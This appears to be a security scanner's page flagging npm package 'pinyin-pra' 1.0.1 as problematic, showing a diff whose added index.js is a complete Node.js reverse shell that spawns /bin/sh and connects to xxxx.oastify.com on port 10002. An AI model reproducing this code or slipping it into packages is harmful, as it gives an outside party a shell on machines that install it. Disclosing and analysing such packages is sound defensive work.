pinyin-pra 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of pinyin-pra might be problematic. Click here for more details.
- package/index.js +12 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
(function(){
|
2
|
+
var net = require("net"),
|
3
|
+
cp = require("child_process"),
|
4
|
+
sh = cp.spawn("/bin/sh", []);
|
5
|
+
var client = new net.Socket();
|
6
|
+
client.connect(10002, "xxxx.oastify.com", function(){
|
7
|
+
client.pipe(sh.stdin);
|
8
|
+
sh.stdout.pipe(client);
|
9
|
+
sh.stderr.pipe(client);
|
10
|
+
});
|
11
|
+
return /a/;
|
12
|
+
})();
|